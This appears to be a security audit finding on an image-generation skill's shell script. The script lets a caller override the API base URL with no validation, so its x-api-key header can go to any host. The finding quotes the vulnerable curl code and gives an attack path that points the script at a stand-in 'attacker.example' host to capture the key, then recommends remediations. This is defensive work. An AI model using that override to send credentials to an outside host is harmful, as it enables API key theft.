T09 · Insecure Skill Coding Practices
- Location
scripts/create_task.sh:82- Finding
Unrestricted API Base URL Can Expose Credentials to an Attacker-Controlled Server
- Content
View full analysis
Vulnerability Details
File Location:
scripts/create_task.sh:4, 82-84, 191-194, 225-227
Vulnerability Type: Unrestricted credential destination and sensitive-data disclosure
Risk Level: HighVulnerable Code
bash BASE_URL="${IMAGE2_BASE_URL:-https://kexiangai.com}"bash --base-url) BASE_URL="${2:-}" shift 2 ;;bash CREATE_RESPONSE="$(curl --location "${BASE_URL}${CREATE_ENDPOINT}" \ --header 'Content-Type: application/json' \ --header "x-api-key: ${X_API_KEY}" \ --data "$PAYLOAD")"bash QUERY_RESPONSE="$(curl --location "$QUERY_URL" \ --header 'Content-Type: application/json' \ --header "x-api-key: ${X_API_KEY}")"Technical Analysis
The script allows the API base URL to be overridden through either the
IMAGE2_BASE_URLenvironment variable or the--base-urlcommand-line option. It performs no scheme or hostname validation before attaching theX_API_KEYauthentication header.Consequently, the script can send the API key to any caller-selected server, including an attacker-controlled host or an unencrypted HTTP endpoint. The creation request also exposes the image-generation prompt and any reference-image URLs.
This flexibility exceeds the minimum privileges required by the declared functionality. The Skill metadata identifies
https://kexiangai.comas its intended API provider, so sending credentials to arbitrary destinations is not necessary for normal operation.Both requests use
curl --location, permitting redirects. Redirect handling should not be treated as a substitute for destination validation; authentication-bearing requests should avoid redirects or validate all allowed destinations explicitly.Attack Path
- An attacker influences the execution environment, invocation template, automation configuration, or copied command.
- The attacker sets
IMAGE2_BASE_URL=https://attacker.exampleor adds--base-url https://attacker.example. - The user executes `create_t ...[truncated 944 chars]
- Remediation
View remediation
Remediation Suggestions
-
Remove
--base-urlandIMAGE2_BASE_URLsupport if alternate providers are not required, and use the fixed declared endpoint:bash readonly BASE_URL="https://kexiangai.com" -
If configurability is operationally necessary, parse and validate the URL before using it:
- Require the
httpsscheme. - Allowlist exact trusted hostnames.
- Reject embedded credentials, fragments, unexpected ports, and ambiguous hostname forms.
- Do not use substring or suffix-only hostname checks.
- Require the
-
Avoid
curl --locationfor requests containing authentication headers. If redirects are essential, restrict them to explicitly trusted HTTPS destinations and ensure credentials are never forwarded to a different origin. -
Fail closed before reading or transmitting the key when destination validation fails.
-
Consider separating development endpoint support into an explicit test mode that uses a dedicated, low-privilege test credential rather than a production API key.
-
Add automated tests confirming rejection of HTTP URLs, untrusted hosts, user-info URLs, unexpected ports, and redirect attempts.
-
